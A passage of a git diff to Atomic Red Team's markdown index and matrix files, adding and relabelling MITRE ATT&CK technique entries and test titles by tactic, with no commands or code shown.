[Data Encoding](./T1132/T1132.md) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Compiled HTML File [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote File Copy](./T1105/T1105.md) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Input Capture](./T1056/T1056.md) | [Permission Groups Discovery](./T1069/T1069.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Prompt](./T1141/T1141.md) | [Process Discovery](./T1057/T1057.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | [DCShadow](./T1207/T1207.md) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Query Registry](./T1012/T1012.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Launchctl](./T1152/T1152.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Keychain](./T1142/T1142.md) | [Remote System Discovery](./T1018/T1018.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Mshta](./T1170/T1170.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [Network Sniffing](./T1040/T1040.md) | [System Information Discovery](./T1082/T1082.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [PowerShell](./T1086/T1086.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](./T1089/T1089.md) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | +| | [Regsvcs/Regasm](./T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Private Keys](./T1145/T1145.md) | [System Network Connections Discovery](./T1049/T1049.md) | [Windows Remote Management](./T1028/T1028.md) | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Owner/User Discovery](./T1033/T1033.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | [File Deletion](./T1107/T1107.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Service Discovery](./T1007/T1007.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File Permissions Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Time Discovery](./T1124/T1124.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | +| | [Scripting](./T1064/T1064.md) | [Hypervisor](./T1062/T1062.md) | [Scheduled Task](./T1053/T1053.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Service Execution](./T1035/T1035.md) | [Image File Execution Options Injection](./T1183/T1183.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Gatekeeper Bypass](./T1144/T1144.md) | | | | | | | +| | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | | +| | [Signed Script Proxy Execution](./T1216/T1216.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | +| | [Source](./T1153/T1153.md) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Sudo](./T1169/T1169.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | +| | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | [Sudo Caching](./T1206/T1206.md) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | +| | [Trap](./T1154/T1154.md) | [Launchctl](./T1152/T1152.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | [Trusted Developer Utilities](./T1127/T1127.md) | [Local Job Scheduling](./T1168/T1168.md) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | +| | [Windows Management Instrumentation](./T1047/T1047.md) | [Logon Scripts](./T1037/T1037.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | +| | [Windows Remote Management](./T1028/T1028.md) | [Modify Existing Service](./T1031/T1031.md) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | +| | XSL Script Processing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Netsh Helper DLL](./T1128/T1128.md) | | [InstallUtil](./T1118/T1118.md) | | | | | | | +| | | [New Service](./T1050/T1050.md) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Office Application Startup](./T1137/T1137.md) | | [Launchctl](./T1152/T1152.md) | | | | | | | +| | | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Masquerading](./T1036/T1036.md) | | | | | | | +| | | [Plist Modification](./T1150/T1150.md) | | [Modify Registry](./T1112/T1112.md) | | | | | | | +| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Mshta](./T1170/T1170.md) | | | | | | | +| | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | +| | | [Rc.common](./T1163/T1163.md) | | [Network Share Connection Removal](./T1126/T1126.md) | | | | | | | +| | | [Re-opened Applications](./T1164/T1164.md) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Plist Modification](./T1150/T1150.md) | | | | | | | +| | | [Registry Run Keys / Startup Folder](./T1060/T1060.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Scheduled Task](./T1053/T1053.md) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Screensaver](./T1180/T1180.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | +| | | Security Support Provider [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | +| | | [Setuid and Setgid](./T1166/T1166.md) | | [Regsvr32](./T1117/T1117.md) | | | | | | | | | | Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Rootkit](./T1014/T1014.md) | | | | | | | | | | [Startup Items](./T1165/T1165.md) | | [Rundll32](./T1085/T1085.md) | | | | | | | | | | System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | @@ -56,7 +58,9 @@ | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Signed Script Proxy Execution](./T1216/T1216.md) | | | | | | | | | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Windows Management Instrumentation Event Subscription](./T1084/T1084.md) | | [Space after Filename](./T1151/T1151.md) | | | | | | | -| | | Winlogon Helper DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Timestomp](./T1099/T1099.md) | | | | | | | +| | | Winlogon Helper DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Template Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | [Timestomp](./T1099/T1099.md) | | | | | | | | | | | | [Trusted Developer Utilities](./T1127/T1127.md) | | | | | | | | | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | XSL Script Processing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 4e8453b4b4..5fdc567259 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -12,6 +12,7 @@ - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - Atomic Test #2: CMSTP Executing UAC Bypass [windows] - T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1223 Compiled HTML File [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: Component Object Model Hijacking [windows] @@ -38,6 +39,7 @@ - Atomic Test #11: Delete VSS - wmic [windows] - Atomic Test #12: bcdedit [windows] - Atomic Test #13: wbadmin [windows] +- T1222 File Permissions Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #4: Create Windows System File with Attrib [windows] @@ -96,6 +98,7 @@ - [T1216 Signed Script Proxy Execution](./T1216/T1216.md) - Atomic Test #1: PubPrn.vbs Signed Script Bypass [windows] - T1045 Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1221 Template Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1099 Timestomp](./T1099/T1099.md) - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] @@ -103,6 +106,7 @@ - Atomic Test #3: MSXSL Bypass using remote files [windows] - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1220 XSL Script Processing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # privilege-escalation - [T1134 Access Token Manipulation](./T1134/T1134.md) @@ -157,6 +161,8 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] +- [T1098 Account Manipulation](./T1098/T1098.md) + - Atomic Test #1: Admin Account Manipulate [windows] - T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] @@ -209,7 +215,7 @@ - T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1060 Registry Run Keys / Start Folder](./T1060/T1060.md) +- [T1060 Registry Run Keys / Startup Folder](./T1060/T1060.md) - Atomic Test #1: Reg Key Run [windows] - Atomic Test #2: Reg Key RunOnce [windows] - Atomic Test #3: PowerShell Registry RunOnce [windows] @@ -248,6 +254,9 @@ - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #2: Network Share Discovery command prompt [windows] - Atomic Test #3: Network Share Discovery PowerShell [windows] +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #3: Packet Capture Windows Command Prompt [windows] + - Atomic Test #4: Packet Capture PowerShell [windows] - [T1201 Password Policy Discovery](./T1201/T1201.md) - T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) @@ -312,7 +321,6 @@ - T1174 Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1145 Private Keys](./T1145/T1145.md) - Atomic Test #1: Private Keys [windows] -- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # lateral-movement @@ -384,6 +392,7 @@ - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - Atomic Test #2: CMSTP Executing UAC Bypass [windows] - [T1059 Command-Line Interface](./T1059/T1059.md) +- T1223 Compiled HTML File [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1196 Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1173 Dynamic Data Exchange](./T1173/T1173.md) - Atomic Test #1: Execute Commands [windows] @@ -444,11 +453,11 @@ - Atomic Test #3: WMIC Process Call Create [windows] - Atomic Test #4: Psexec [windows] - Atomic Test #5: Invoke-Command [windows] +- T1220 XSL Script Processing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # command-and-control - T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1090 Connection Proxy](./T1090/T1090.md) - T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1132 Data Encoding](./T1132/T1132.md) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index 304619ed1d..6e3d987ad1 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -2,51 +2,55 @@ | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Credential Dumping](./T1003/T1003.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | -| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](./T1088/T1088.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| [Spearphishing Attachment](./T1193/T1193.md) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | [Bypass User Account Control](./T1088/T1088.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote File Copy](./T1105/T1105.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Permission Groups Discovery](./T1069/T1069.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DCShadow](./T1207/T1207.md) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](./T1057/T1057.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Mshta](./T1170/T1170.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Query Registry](./T1012/T1012.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [PowerShell](./T1086/T1086.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | [Remote System Discovery](./T1018/T1018.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Regsvcs/Regasm](./T1121/T1121.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Regsvr32](./T1117/T1117.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](./T1089/T1089.md) | [Private Keys](./T1145/T1145.md) | [System Information Discovery](./T1082/T1082.md) | [Windows Admin Shares](./T1077/T1077.md) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Rundll32](./T1085/T1085.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | -| | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Connections Discovery](./T1049/T1049.md) | | | | Standard Application Layer Protocol [CONTRIBUTE A 